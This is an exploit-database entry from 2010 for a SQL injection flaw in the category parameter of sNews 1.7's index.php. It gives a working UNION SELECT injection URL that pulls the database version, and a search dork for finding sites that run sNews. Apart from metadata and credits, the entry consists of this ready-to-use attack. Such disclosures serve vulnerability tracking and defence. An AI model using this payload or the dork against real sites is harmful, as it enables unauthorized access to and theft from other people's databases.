sNews 1.7 - index.php?category SQL Injection

2010-07-24T00:00:00
ID EXPLOITPACK:263BD9E24DE8B779740FC5AAF8403E01
Type exploitpack
Reporter CoBRa_21
Modified 2010-07-24T00:00:00

Description

sNews 1.7 - index.php?category SQL Injection

                                        
                                            ########################################################################################

sNews v1.7 (index.php?category) SQL Injection Vulnerability

########################################################################################

Author : CoBRa_21

Author Web Page : http://www.ipbul.org

Dork: "Powered by sNews"

########################################################################################
 
Sql Injection:

http://localhost/[path]/index.php?category=-3 union select 0,version(),2,3,4,5,6,7,8

########################################################################################
Thanks http://e-banka.org & http://www.cyber-warrior.org
########################################################################################